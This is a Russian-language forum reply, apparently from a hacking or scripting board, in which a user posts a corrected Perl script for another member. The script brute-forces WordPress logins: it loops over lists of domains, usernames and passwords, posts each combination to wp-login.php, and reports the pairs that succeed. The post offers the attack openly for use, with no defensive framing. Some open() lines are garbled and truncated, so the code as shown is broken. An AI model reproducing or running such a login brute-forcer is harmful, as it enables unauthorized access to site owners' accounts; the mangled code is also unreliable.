Показать сообщение отдельно

  #10  
Старый 11.07.2015, 02:46
Swat2k
Новичок
Регистрация: 12.09.2007
Сообщений: 14
С нами: 9822178

Репутация: 2
По умолчанию

Цитата:
Сообщение от jslby  

Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?
Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.

Код:
use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);

my $cookie_jar = HTTP::Cookies->new(
    file => "cookies.dat",
    autosave => 1,
);

getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);

open($dfh, '){
    chomp $thisDomain;

    open($nfh, '){
        chomp $thisName;

        open($wfh, '){
            chomp $thisPass;

            my $ua = LWP::UserAgent->new;
           
            $ua->cookie_jar($cookie_jar);
           
            my     $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
                                                                            'pwd' => $thisPass,
                                                                            'wp-sumbit' => 'Log In',
                                                                            'redirect_to' => "http://$thisDomain/wp-login.php",
                                                                            'rememberme' => 'forever',
                                                                            'testcookie' => 1});

           
            if($resp->is_redirect){
                print "Found: $thisName:$thisPass\n";
            }else{
                print "Not Found: $thisName:$thisPass $resp->status_line\n";
            }
           
            undef $resp;

            }
    }
}
 
Ответить с цитированием